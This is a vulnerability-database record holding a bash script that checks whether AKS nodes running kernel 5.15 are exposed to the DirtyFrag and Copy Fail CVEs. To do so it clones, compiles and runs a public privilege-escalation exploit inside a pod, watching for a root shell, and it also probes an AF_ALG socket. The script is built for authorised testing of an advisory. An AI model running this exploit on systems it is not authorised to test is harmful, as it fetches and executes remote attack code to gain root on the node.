{"uuid": "0466b9c5-8cfd-4240-8436-3d1b4001be19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/kzzalews/dc37275ebd58c0367245260abd1b5145", "content": "#!/usr/bin/env bash\n# =============================================================================\n# DirtyFrag &amp; Copy Fail \u2014 Empirical Exploitability Test\n# Target:  Any AKS cluster (Ubuntu 22.04, kernel 5.15.x-azure)\n# CVEs:    CVE-2026-43284 (DirtyFrag xfrm-ESP)\n#          CVE-2026-43500 (DirtyFrag RxRPC)\n#          CVE-2026-31431 (Copy Fail / algif_aead)\n# Advisory: https://github.com/Azure/AKS/issues/5753\n# Author:  Karol Zalewski / Aiko (Claude Sonnet 4.6) \u2014 2026-05-09\n#\n# USAGE:\n#   Set AZ_RG, AZ_CLUSTER, KUBE_CONTEXT below to match your cluster,\n#   then run:  ./dirtyfrag-cve-test.sh 2&gt;&amp;1 | tee results.txt\n#\n# WARNING: This script compiles and executes a public exploit PoC\n#   (V4bel/dirtyfrag). Run only in DEV/test environments, with\n#   explicit team approval, and only if you are authorised to do so.\n# =============================================================================\n\nset -euo pipefail\n\n# --- config \u2014 EDIT THESE -----------------------------------------------------\nAZ_RG=\"example-rg\"                      # Azure resource group of the cluster\nAZ_CLUSTER=\"example-cluster\"            # AKS cluster name\nKUBE_CONTEXT=\"example-cluster\"          # kubectl context name\nNAMESPACE=\"default\"\nTEST_NODE_POOL=\"nodepool1\"               # picks first schedulable node from this pool\nPOD_DIRTYFRAG=\"dirtyfrag-test\"\nPOD_COPYFAIL=\"copyfail-test\"\n# -----------------------------------------------------------------------------\n\nRED='\\033[0;31m'; YELLOW='\\033[1;33m'; GREEN='\\033[0;32m'; CYAN='\\033[0;36m'; NC='\\033[0m'\n\nlog()  { echo -e \"${CYAN}[$(date +%H:%M:%S)]${NC} $*\"; }\nok()   { echo -e \"${GREEN}[OK]${NC} $*\"; }\nwarn() { echo -e \"${YELLOW}[WARN]${NC} $*\"; }\nerr()  { echo -e \"${RED}[ERROR]${NC} $*\"; }\n\nconfirm() {\n  local msg=\"${1:-Continue?}\"\n  echo \"\"\n  read -r -p \"$(echo -e \"${YELLOW}&gt;&gt;&gt; ${msg} [y/N] ${NC}\")\" ans\n  [[ \"${ans}\" =~ ^[Yy]$ ]] || { warn \"Skipped by user.\"; return 1; }\n}\n\n# --- cleanup -----------------------------------------------------------------\nCLEANUP_DONE=0\ncleanup() {\n  [[ ${CLEANUP_DONE} -eq 1 ]] &amp;&amp; return\n  CLEANUP_DONE=1\n  echo \"\"\n  warn \"=== CLEANUP ===\"\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \"${POD_COPYFAIL}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2&gt;/dev/null || true\n  ok \"Test pods removed.\"\n}\ntrap cleanup EXIT INT TERM\n\n# =============================================================================\n# STEP 0 \u2014 Fetch kubeconfig &amp; switch context\n# =============================================================================\necho \"\"\necho -e \"${CYAN}========================================${NC}\"\necho -e \"${CYAN}  DirtyFrag / Copy Fail \u2014 CVE Test     ${NC}\"\necho -e \"${CYAN}========================================${NC}\"\necho \"\"\n\nlog \"Step 0: Fetching kubeconfig for ${AZ_CLUSTER} (RG: ${AZ_RG})\"\naz aks get-credentials \\\n  --resource-group \"${AZ_RG}\" \\\n  --name \"${AZ_CLUSTER}\" \\\n  --overwrite-existing\nok \"Kubeconfig merged.\"\n\nkubectl config use-context \"${KUBE_CONTEXT}\"\nok \"Context set to: ${KUBE_CONTEXT}\"\n\n# --- sanity check ------------------------------------------------------------\nlog \"Verifying node state...\"\nkubectl --context \"${KUBE_CONTEXT}\" get nodes \\\n  -o custom-columns=\"NAME:.metadata.name,STATUS:.status.conditions[-1].type,KERNEL:.status.nodeInfo.kernelVersion,SCHED:.spec.unschedulable\" \\\n  2&gt;/dev/null || true\necho \"\"\n\n# Pick first schedulable node from the target pool\nTARGET_NODE=$(kubectl --context \"${KUBE_CONTEXT}\" get nodes \\\n  --no-headers \\\n  -o custom-columns=\"NAME:.metadata.name,SCHED:.spec.unschedulable\" \\\n  2&gt;/dev/null \\\n  | awk -v pool=\"${TEST_NODE_POOL}\" '$1 ~ pool &amp;&amp; $2 == \"\" {print $1; exit}')\n\nif [[ -z \"${TARGET_NODE}\" ]]; then\n  err \"No schedulable '${TEST_NODE_POOL}' node found. Check node status above and re-run.\"\n  exit 1\nfi\nok \"Target node: ${TARGET_NODE}\"\n\n# =============================================================================\n# STEP 1 \u2014 DirtyFrag xfrm-ESP (CVE-2026-43284) \u2014 THE KEY QUESTION\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 1: DirtyFrag xfrm-ESP (CVE-2026-43284) ---${NC}\"\nwarn \"This step compiles and runs the researcher PoC (V4bel/dirtyfrag).\"\nwarn \"Expected outcomes:\"\nwarn \"  ROOT SHELL   \u2192 kernel 5.15 IS vulnerable to xfrm-ESP; AKS advisory incorrect\"\nwarn \"  EXPLOIT FAIL \u2192 kernel 5.15 is NOT vulnerable; AKS advisory correct\"\necho \"\"\n\nconfirm \"Run DirtyFrag xfrm-ESP test on ${TARGET_NODE}?\" || { warn \"Skipping Step 1.\"; goto_step2=1; }\n\nif [[ -z \"${goto_step2:-}\" ]]; then\n  log \"Spawning compiler pod (gcc:13) on ${TARGET_NODE}...\"\n  kubectl --context \"${KUBE_CONTEXT}\" run \"${POD_DIRTYFRAG}\" \\\n    --image=gcc:13 \\\n    --restart=Never \\\n    --namespace \"${NAMESPACE}\" \\\n    --overrides=\"$(printf '{\n      \"spec\": {\n        \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n        \"tolerations\": [{\"operator\": \"Exists\"}]\n      }\n    }' \"${TARGET_NODE}\")\" \\\n    -- sleep 1800\n\n  log \"Waiting for pod to be Ready (up to 120s)...\"\n  kubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_DIRTYFRAG}\" \\\n    --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\"\n  ok \"Pod ready.\"\n\n  KERNEL=$(kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- uname -r 2&gt;/dev/null)\n  log \"Kernel on node: ${KERNEL}\"\n\n  log \"Cloning and compiling DirtyFrag PoC inside pod...\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- bash -c '\n      git clone https://github.com/V4bel/dirtyfrag.git /tmp/dirtyfrag 2&gt;&amp;1\n      cd /tmp/dirtyfrag\n      gcc -O0 -Wall -o exp exp.c -lutil 2&gt;&amp;1\n      echo \"[COMPILE OK] binary: /tmp/dirtyfrag/exp\"\n    '\n\n  echo \"\"\n  warn \"About to execute the exploit as UID 65534 (nobody) inside the pod.\"\n  warn \"Watch for: root shell, uid=0, or /etc/passwd modification.\"\n  warn \"If you get a root prompt inside the pod, type 'exit' to return.\"\n  confirm \"Execute ./exp inside pod?\" || { warn \"Exploit execution skipped.\"; }\n\n  echo \"\"\n  echo -e \"${RED}=== EXPLOIT OUTPUT START ===${NC}\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec -it \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c 'cd /tmp/dirtyfrag &amp;&amp; su -s /bin/bash nobody -c \"./exp\" 2&gt;&amp;1 || ./exp' \\\n    || true\n  echo -e \"${RED}=== EXPLOIT OUTPUT END ===${NC}\"\n  echo \"\"\n\n  log \"Step 1 cleanup: clearing page cache and unloading modules on node...\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c 'echo 3 &gt; /proc/sys/vm/drop_caches 2&gt;/dev/null; rmmod esp4 esp6 rxrpc 2&gt;/dev/null; echo \"cleanup done\"' \\\n    || warn \"Page cache flush may require privileged access \u2014 check node manually if exploit succeeded.\"\n\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2&gt;/dev/null || true\n  ok \"Step 1 pod removed.\"\nfi\n\n# =============================================================================\n# STEP 2 \u2014 DirtyFrag RxRPC (CVE-2026-43500) \u2014 expected FAIL on 5.15\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 2: DirtyFrag RxRPC (CVE-2026-43500) ---${NC}\"\nwarn \"Expected: FAIL. Both AKS advisory and researcher agree RxRPC requires kernel &gt;= 6.4.\"\nwarn \"This step confirms that kernel 5.15 is out-of-range for the RxRPC chain.\"\necho \"\"\n\nconfirm \"Run DirtyFrag RxRPC test (expected fail)?\" || { warn \"Skipping Step 2.\"; }\n\nif [[ \"${BASH_REMATCH[0]}\" != \"\" ]] || true; then\n  log \"Re-using same pod setup for Step 2...\"\n  kubectl --context \"${KUBE_CONTEXT}\" run \"${POD_DIRTYFRAG}\" \\\n    --image=gcc:13 \\\n    --restart=Never \\\n    --namespace \"${NAMESPACE}\" \\\n    --overrides=\"$(printf '{\n      \"spec\": {\n        \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n        \"tolerations\": [{\"operator\": \"Exists\"}]\n      }\n    }' \"${TARGET_NODE}\")\" \\\n    -- sleep 600 2&gt;/dev/null || true\n\n  kubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_DIRTYFRAG}\" \\\n    --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\" 2&gt;/dev/null || true\n\n  log \"Checking if rxrpc module loads on 5.15...\"\n  echo -e \"${RED}=== RXRPC MODULE CHECK ===${NC}\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c '\n      uname -r\n      echo \"Attempting to load rxrpc...\"\n      modprobe rxrpc 2&gt;&amp;1 || echo \"modprobe rxrpc: failed (expected on 5.15 if module not present)\"\n      lsmod | grep rxrpc || echo \"rxrpc: not loaded\"\n      ls /lib/modules/$(uname -r)/kernel/net/rxrpc/ 2&gt;/dev/null || echo \"rxrpc module directory: not found (kernel too old)\"\n    ' || true\n  echo -e \"${RED}=== END ===${NC}\"\n\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2&gt;/dev/null || true\n  ok \"Step 2 done.\"\nfi\n\n# =============================================================================\n# STEP 3 \u2014 Copy Fail baseline (CVE-2026-31431)\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 3: Copy Fail baseline (CVE-2026-31431) ---${NC}\"\nwarn \"Non-root pod (UID 1000). Tests whether AF_ALG socket auto-loads algif_aead.\"\nwarn \"Expected to succeed on nodes WITHOUT an algif_aead blacklist.\"\necho \"\"\n\nconfirm \"Run Copy Fail baseline test?\" || { warn \"Skipping Step 3.\"; exit 0; }\n\nlog \"Spawning non-root pod (python:3.12-slim, UID 1000)...\"\nkubectl --context \"${KUBE_CONTEXT}\" run \"${POD_COPYFAIL}\" \\\n  --image=python:3.12-slim \\\n  --restart=Never \\\n  --namespace \"${NAMESPACE}\" \\\n  --overrides=\"$(printf '{\n    \"spec\": {\n      \"securityContext\": {\"runAsNonRoot\": true, \"runAsUser\": 1000, \"runAsGroup\": 1000},\n      \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n      \"tolerations\": [{\"operator\": \"Exists\"}]\n    }\n  }' \"${TARGET_NODE}\")\" \\\n  -- sleep 600\n\nkubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_COPYFAIL}\" \\\n  --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\"\nok \"Pod ready.\"\n\necho \"\"\necho -e \"${RED}=== COPY FAIL \u2014 AF_ALG SOCKET TEST ===${NC}\"\nkubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_COPYFAIL}\" \\\n  --namespace \"${NAMESPACE}\" -- \\\n  python3 -c \"\nimport socket, os\nprint('Running as UID:', os.getuid())\nprint('Kernel:', open('/proc/version').read().split()[2])\ntry:\n    s = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET\n    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))\n    print('RESULT: algif_aead auto-loaded via AF_ALG socket')\n    print('VERDICT: Node IS vulnerable to Copy Fail (CVE-2026-31431)')\n    s.close()\nexcept PermissionError as e:\n    print('RESULT: AF_ALG bind blocked -', e)\n    print('VERDICT: algif_aead blacklist active OR module unavailable')\nexcept OSError as e:\n    print('RESULT: AF_ALG socket error -', e)\n    print('VERDICT: Module not loadable (kernel too old or not present)')\n\" 2&gt;&amp;1 || true\necho -e \"${RED}=== END ===${NC}\"\n\nkubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_COPYFAIL}\" \\\n  --force --ignore-not-found --namespace \"${NAMESPACE}\" 2&gt;/dev/null || true\nok \"Step 3 done.\"\n\n# =============================================================================\n# SUMMARY\n# =============================================================================\necho \"\"\necho -e \"${CYAN}========================================${NC}\"\necho -e \"${CYAN}  Test complete.                        ${NC}\"\necho -e \"${CYAN}========================================${NC}\"\necho \"\"\necho \"Key things to note:\"\necho \"  - Step 1: Did ./exp produce a root shell? (y/n + full output)\"\necho \"  - Step 2: Was rxrpc.ko present on 5.15? (expected: no)\"\necho \"  - Step 3: Did AF_ALG socket load algif_aead? (expected: yes on unmitigated node)\"\necho \"  - Node: ${TARGET_NODE} / Context: ${KUBE_CONTEXT}\"\necho \"\"\n", "creation_timestamp": "2026-05-09T10:18:18.000000Z"}